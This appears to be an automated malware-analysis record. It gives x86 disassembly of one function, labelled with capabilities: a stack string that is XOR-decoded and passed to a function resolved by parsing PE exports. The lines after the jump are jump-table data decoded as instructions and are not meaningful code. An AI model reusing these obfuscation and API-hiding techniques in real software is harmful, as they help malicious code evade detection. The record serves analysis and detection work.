Function at 0x410080
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x23c
mov dword [esp + 0x3c], 0x13851165
mov dword [esp + 0x40], 0x1f771d86
mov dword [esp + 0x44], 0x1b8e198c
mov dword [esp + 0x48], 0x7510565
mov dword [esp + 0x4c], 0x354015d
mov dword [esp + 0x50], 0xf2e0d5c
mov dword [esp + 0x54], 0xb750920
mov dword [esp + 0x58], 0x37a0355d
mov dword [esp + 0x5c], 0x33a5315c
mov dword [esp + 0x60], 0x3fad3da3
mov dword [esp + 0x64], 0x3b4c3918
mov dword [esp + 0x68], 0x27062558
mov dword [esp + 0x6c], 0x23722171
mov dword [esp + 0x70], 0x2f7e2d7a
mov dword [esp + 0x74], 0x2b0a2973
mov dword [esp + 0x78], 0x573f552b
mov dword [esp + 0x7c], 0x530c51c6
mov dword [esp + 0x80], 0x5f055d00
mov dword [esp + 0x84], 0x5bc25978
mov dword [esp + 0x88], 0x471a451a
mov dword [esp + 0x8c], 0x43624169
mov dword [esp + 0x90], 0x4fde4d0d
mov dword [esp + 0x94], 0x4bde49d8
mov dword [esp + 0x98], 0x77097519
mov dword [esp + 0x9c], 0x7310711d
mov dword [esp + 0xa0], 0x7f177d37
mov dword [esp + 0xa4], 0x7b2d79e4
mov dword [esp + 0xa8], 0x67356539
mov dword [esp + 0xac], 0x6334613f
mov dword [esp + 0xb0], 0x6f306d3f
mov dword [esp + 0xb4], 0x6b426948
mov dword [esp + 0xb8], 0x97de95df
mov dword [esp + 0xbc], 0x93e791ec
mov dword [esp + 0xc0], 0x9fca9de8
mov dword [esp + 0xc4], 0x9b0e99b8
mov dword [esp + 0xc8], 0x87ed85ed
mov dword [esp + 0xcc], 0x83a281ed
mov dword [esp + 0xd0], 0x8fe38dc3
mov dword [esp + 0xd4], 0x8be189eb
mov dword [esp + 0xd8], 0xb79fb523
mov dword [esp + 0xdc], 0xb3f1b190
mov dword [esp + 0xe0], 0xbf2cbdd4
mov dword [esp + 0xe4], 0xbb2fb92f
mov dword [esp + 0xe8], 0xa7f1a5c9
mov dword [esp + 0xec], 0xa3f3a1f1
mov dword [esp + 0xf0], 0xaff8adf5
mov dword [esp + 0xf4], 0xabfca9f8
mov dword [esp + 0xf8], 0xd780d584
mov dword [esp + 0xfc], 0xd3f2d180
mov dword [esp + 0x100], 0xdfbfddaf
mov dword [esp + 0x104], 0xdbbbd9b6
mov dword [esp + 0x108], 0xc7afc556
mov dword [esp + 0x10c], 0xc39fc197
mov dword [esp + 0x110], 0xcf91cd9f
mov dword [esp + 0x114], 0xcb99c99e
mov dword [esp + 0x118], 0xf7f6f5aa
mov word [esp + 0x11c], 0
mov eax, dword [0x44dee0]
xor ecx, ecx
mov edx, ecx
add dl, 0x84
xor dl, byte [esp + ecx + 0x3c]
add dl, 0x6c
mov byte [esp + ecx + 0x3c], dl
inc ecx
cmp ecx, 0xe2
jne case.default.0x410303
lea ebp, [esp + 0x3c]
push 0
push 0
push 0
push 0
push ebp
call eax
mov edi, eax
xor eax, eax
test edi, edi
setne al
xor ebx, ebx
jmp dword [eax*4 + 0x448bf8]
pop es
inc ecx
add byte [edx], cl
add eax, dword [ecx]
jnp 0x448c05
inc ecx
add byte [ebx - 0x65ffbefd], al
push es
inc ecx
add al, ah
add eax, 0x69a0041
inc ecx
add byte [ebp + 7], bl
add eax, dword [ecx]
lcall 0x4105, 0xe0004106
add byte [edx + 1560297734], bl
pop es
inc ecx
add byte [ebx + 7], ch
inc ecx
add byte [edx + 0x1004107], ch
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx - 0x3dffbef9], ch
pop es
inc ecx
add byte [eax - 0x4fffbefb], dh
add eax, 0x5b00041
inc ecx
add byte [esi - 0x4fffbefb], dh
add eax, 0x5370041
inc ecx
add byte [eax + 0x1004103], dh
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi], dh
add eax, 0x10041
add byte [eax], al
outsb dx, byte [esi]
add eax, 91357249
inc ecx
add byte [ebx - 0x72ffbefb], bl
add eax, dword [ecx]
wait
add eax, 61407297
inc ecx
add byte [eax - 0x7effbef9], dl
pop es
inc ecx
add byte [eax - 0x62ffbef9], dl
pop es
inc ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x300410b], dh
or byte [ecx], al
scasd eax, dword es:[edi]
or eax, dword [ecx]
and eax, 0xbf004108
or eax, dword [ecx]
wait
or eax, dword [ecx]
scasd eax, dword es:[edi]
or eax, dword [ecx]
sub ecx, dword [ecx + eax*2]
add byte [esi], bh
or al, 0x41
add byte [edi - 0x3fffbee7], ch
sbb dword [ecx], eax
rcr byte [ecx], 0x41
add al, al
sbb dword [ecx], eax
mov al, byte [0xa0004119]
sbb dword [ecx], eax
invalid